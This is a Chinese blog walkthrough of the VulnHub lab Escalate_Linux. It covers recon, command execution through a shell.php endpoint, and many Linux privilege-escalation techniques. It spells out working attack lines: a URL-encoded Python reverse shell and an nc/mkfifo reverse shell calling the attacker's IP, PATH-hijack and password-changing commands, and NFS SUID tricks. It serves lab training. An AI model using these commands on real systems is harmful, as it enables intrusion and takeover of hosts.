Linux权限提升-Escalate_Linux

1.环境准备

下载地址:Escalate_Linux: 1 ~ VulnHub

靶机环境:Nat模式

kaliip:192.168.26.128

2.渗透测试

信息收集
主机收集
arp-scan -l

//nmap -sP 192.168.26.0/24

 得知靶机ip地址:192.168.26.141

端口探测
nmap -sS -sV -p- 192.168.26.141

发现该主机开放了许多端口:80、111、139、445等端口

漏洞探测

访问该IP地址

打开站点是apache的默认站点

默认页面,尝试对web Directory Search 使用dirb对Web站点进行PHP页面暴破 因为一般web平台默认支持PHP dirb http:/192.168.236.131 -X .php(指定后缀名)

找到shell.php文件目录,一看到文件目录名就是传后门的

访问shell.php文件,页面显示通过 cmd 作为get参数

发现该网站存在命令执行漏洞

漏洞利用 

使用msf进行攻击

use exploit/multi/script/web_delivery

此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好) 

设置服务端和本地地址都为攻击机ip,运行如下:

因为服务端会进行url解码,所以先将payload进行url编码,目前在kali上只能使用burpsuite中的url编码:

再将cmd参数传参进去,使得靶机ip访问payload信息

这里直接用python反弹shell

http://192.168.26.141/shell.php?cmd=export%20RHOST=%22192.168.26.128%22;export%20RPORT=2233;python%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22/bin/bash%22)%27

后面开启监听端口2233

成功获取到webshell权限 

权限提升 

枚举脚本下载,我们只需要在kali机用python开启一个服务器端,用靶机在tmp目录下下载枚举脚本,再执行,我们就可以获取信息

rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks (github.com)

suid提权:

1)python实现交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

2)首先查找下能否执行SUID特权的命令 

find / -perm -u=s -type f 2>/dev/null

看到用户user3下面有个shell命令文件,能够使用SUID

猜测此shell命令的二进制文件里面含有C语言setuid提权代码

3)进入user3目录执行./shell:

全局环境变量提权: 

1)使用user5的script脚本也可以进行提权,下面来探究一下如何进行提权操作

2)进入user5目录,执行发现和ls命令一样的结果,这是因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权

3)全局变量提权的参考文章及命令:Linux Privilege Escalation Using PATH Variable - Hacking Articles

cd /tmp
echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

计划任务crontab提权:

枚举脚本发现user4下有的Desktop有一个脚本是通过计划任务使用root权限执行,看了下脚本的内容,跟提权没有关系,但是我们要更改这个脚本,目前反弹的shell是user6没有对于权限,具体如下:

所以我们需要进入到user4用户更改脚本来达到目的,这里是不知道user4的密码,可以通过上一个提权方法直接更改其密码 

1.借鉴方法2,使用相同的脚本文件,借助Path变量方法更改user4用户的密码为123

cd /tmp
echo 'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4

2.使用msfvenom写一段反弹shell:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.26.128 lport=8888 R

3.在user4桌面文件夹中看到文件autoscript.sh,将反弹shell写入到autoscript脚本中:

echo 'mkfifo /tmp/kndq; nc 192.168.26.128 8888 0</tmp/kndq | /bin/sh >/tmp/kndq 2>&1; rm /tmp/kndq' > autoscript.sh

 这里暂未能获得root权限,我操作的问题,大家可以看下面一篇博客

Vulnhub-靶机-ESCALATE_LINUX: 1 - 皇帽讲绿帽带法技巧 - 博客园 (cnblogs.com)

vi写入提权:

1.借鉴方法3,将所有用户8的密码更改为12345,并在用户之间切换来检查更多漏洞,发现user8对vi编辑器具有sudo权限

cd /tmp
echo 'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8

 2.使用sudo打开vi编辑器,并插入sh命令:

sudo vi
:!sh
<enter>

openssl提权: 

1.继续根据枚举的信息,确认user7是gid为0的组成员,使用和方法3相同的办法进入user7,切换至user7,发现user7属于gid为0的组

cd /tmp
echo 'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7

2.从LinEnum扫描中知道/etc/passwd文件对于用户是可写的:user7可以编辑/etc/passwd文件。

所以,创建了一个具有root特权的名为ysy的新用户,并使用openssl为该用户生成了密码:

3.将这个密码写入到我新建的ysy用户中:

查看一下,写进了!

4.使用ysy的账号密码登录即可获得超户权限 

NFS挂载提权:

1.枚举脚本含有针对NFS的服务

2.通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:

cat /etc/exports

3.发现/home/user5 *(rw,no_root_squash),意思是可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权

4.挂载nfs到本地kali,生成一个提权文件

showmount -e 192.168.26.142
mount -t nfs 192.168.26.142:/home/user5 /tmp/

3.将user5通过NFS共享到本地,创建一个SUID执行:

cp /bin/sh rootysy
chown root:root rootysy
chmod 4755 rootysy

 

4.在shell中进入user5:

cd /home/user5
./rootysy

这里暂未获取到root权限

mysql提权:

1.尝试使用默认密码登录mysql:

mysql -u root -p

2.查看数据库,一般思路要从user表中获取密码:

show databases;
use user;
show tables;
select * from user_info;

3.获取mysql的密码为mysql@12345,所以切换至mysql用户

4.经过查找,发现用户1-8的密码:

ls -la
chmod 600 .user_informations
cat .user_informations

5.继续信息收集,在secret.cnf中发现root账号的密码:

cd /etc/mysql
cat secret.cnf

运行超户身份提权:

1.因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看

2.根据提示执行:

sudo -u user1 bash  //以超户身份运行bash
sudo su

uid提权:

1.切换至user4,发现root的组里面有user4和user7,意思是user4和user7可以修改/etc/passwd文件,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

su user4
 
cat /etc/group

2.使用openssl生成自定义的密码

shell提权:

1.看到/home/user3下面有.script.sh脚本内容同样是带setuid的权限直接执行提权即可

2.这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh所以套路跟方法一时候一样的,执行.script.sh脚本即可

echo "/bin/sh" >.script.sh
./shell

john爆破提权:

1.echo查看/etc/shadow文件,读取root的hash,并使用john中自带密码库进行爆破即可

但是查看此文件好像本身需要root权限,其他用户查看权限不够

user提权:

1.直接通过user1的密码查看sudo -l 的特权:

2.执行sudo -i即可提权:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值